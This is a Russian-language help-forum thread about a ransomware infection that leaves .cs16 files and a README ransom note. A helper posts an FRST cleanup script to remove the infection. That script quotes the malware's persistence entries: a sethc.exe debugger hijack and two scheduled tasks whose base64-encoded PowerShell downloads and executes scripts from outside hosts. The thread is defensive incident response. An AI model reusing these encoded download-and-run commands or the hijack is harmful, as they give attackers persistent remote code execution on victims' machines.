• Внимание. Восстановление баз 1С7, 1C8 и Mssql после атаки шифровальщика, подробности и отзывы читайте в профильной теме.

    Внимание. Восстановление архивов RAR и ZIP, образов Acronis и виртуальных машин, баз почтовых программ после атаки шифровальщика, подробности и отзывы читайте в профильной теме.

Решена без расшифровки Расшифровать файлы зашифрованные email-decodor@airmail.cc.ver-CS 1.7.

Статус
В этой теме нельзя размещать новые ответы.

Tamzan

Новый пользователь
Сообщения
8
Реакции
0
Помогите расшифровать утром сегодня увидели вот такие файлы зашифрованныеemail-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
 
Файлы после сканирования
 

Вложения

  • Addition.txt
    67.5 KB · Просмотры: 1
  • FRST.txt
    60.7 KB · Просмотры: 3
Файл с требованиями
 

Вложения

  • README.txt
    92 байт · Просмотры: 2
Здравствуйте!

Похоже, что шифровалось дважды...

Несколько небольших зашифрованных документов упакуйте в архив и прикрепите к следующему сообщению.
KVRT что-нибудь нашла?
Смените пароль на RDP. Если учётная запись Admin не ваша, удалите её.

  • Отключите до перезагрузки антивирус.
  • Выделите следующий код:
    Код:
    Start::
    IFEO\sethc.exe: [Debugger] c:\windows\system32\taskmgr.exe
    Task: {ABE42AEF-978F-4069-9785-90BD13573602} - System32\Tasks\Rtsa => powershell -nop -ep bypass -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdAAuAHoAZQByADIALgBjAG8AbQAvAG0AcwBvAC4AagBzAHAAJwApAA==
    Task: {E07A91CD-2C53-4AD8-8C4B-CFC0ADA4C53B} - System32\Tasks\Microsoft\windows\Bluetool => powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000806 _____ C:\Users\term4\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000806 _____ C:\Users\term4\Downloads\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000806 _____ C:\Users\term4\Documents\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000806 _____ C:\Users\term4\Desktop\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000806 _____ C:\Users\term4\AppData\Roaming\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000806 _____ C:\Users\term4\AppData\LocalLow\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000806 _____ C:\Users\term4\AppData\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000092 _____ C:\Users\term4\README.txt
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000092 _____ C:\Users\term4\Downloads\README.txt
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000092 _____ C:\Users\term4\Documents\README.txt
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000092 _____ C:\Users\term4\Desktop\README.txt
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000092 _____ C:\Users\term4\AppData\Roaming\README.txt
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000092 _____ C:\Users\term4\AppData\README.txt
    2019-10-14 20:55 - 2019-10-15 00:08 - 000000092 _____ C:\Users\term4\AppData\LocalLow\README.txt
    2019-10-14 20:55 - 2019-10-14 20:55 - 000000092 _____ C:\Users\term4\AppData\Roaming\Microsoft\Windows\Start Menu\README.txt
    2019-10-14 20:54 - 2019-10-15 00:05 - 000000806 _____ C:\Users\term4\AppData\Local\Temp\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:54 - 2019-10-15 00:05 - 000000092 _____ C:\Users\term4\AppData\Local\Temp\README.txt
    2019-10-14 20:53 - 2019-10-15 00:04 - 000000806 _____ C:\Users\Все пользователи\Documents\README.txt
    2019-10-14 20:53 - 2019-10-15 00:04 - 000000806 _____ C:\Users\Public\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:53 - 2019-10-15 00:04 - 000000806 _____ C:\Users\Public\Downloads\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:53 - 2019-10-15 00:04 - 000000806 _____ C:\Users\Public\Documents\README.txt
    2019-10-14 20:53 - 2019-10-15 00:04 - 000000806 _____ C:\ProgramData\Documents\README.txt
    2019-10-14 20:53 - 2019-10-15 00:04 - 000000092 _____ C:\Users\Public\README.txt
    2019-10-14 20:53 - 2019-10-15 00:04 - 000000092 _____ C:\Users\Public\Downloads\README.txt
    2019-10-14 20:50 - 2019-10-14 20:51 - 000000806 _____ C:\Users\Все пользователи\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:50 - 2019-10-14 20:51 - 000000806 _____ C:\Users\Все пользователи\Documents\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:50 - 2019-10-14 20:51 - 000000806 _____ C:\Users\Public\Documents\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:50 - 2019-10-14 20:51 - 000000806 _____ C:\ProgramData\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:50 - 2019-10-14 20:51 - 000000806 _____ C:\ProgramData\Documents\email-decodor@airmail.cc.ver-CS 1.7.id-.fname-README.txt.cs16
    2019-10-14 20:50 - 2019-10-14 20:51 - 000000092 _____ C:\Users\Все пользователи\README.txt
    2019-10-14 20:50 - 2019-10-14 20:51 - 000000092 _____ C:\ProgramData\README.txt
    End::
  • Скопируйте выделенный текст (правой кнопкой - Копировать).
  • Запустите FRST (FRST64) от имени администратора.
  • Нажмите Fix один раз (!) и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Перезагрузите компьютер вручную.

Подробнее читайте в этом руководстве.
 
Вот файл
Kvrt нашла несколько файлов удалила их, но файлы были созданы от августа месяца я не думаю что это вирус.
 

Вложения

  • Файлы.7z
    3.6 MB · Просмотры: 3
Последнее редактирование:
Fixlog
 

Вложения

  • Fixlog.txt
    8.9 KB · Просмотры: 2
Файлы FRST.txt и Addition.txt удалите и соберите новые.
По возможности расшифровки дождитесь ответа @thyrex
 
ВОТ
 

Вложения

  • Addition.txt
    66 KB · Просмотры: 1
  • FRST.txt
    56.9 KB · Просмотры: 1
Без тела шифратора сказать что-то опредленное невозможно.
 
REports
 

Вложения

  • Reports.7z
    1 KB · Просмотры: 2
Ничего полезного в отчете.
 

Вложения

  • report_20191015_103020.rar
    975 байт · Просмотры: 1
Статус
В этой теме нельзя размещать новые ответы.
Назад
Сверху Снизу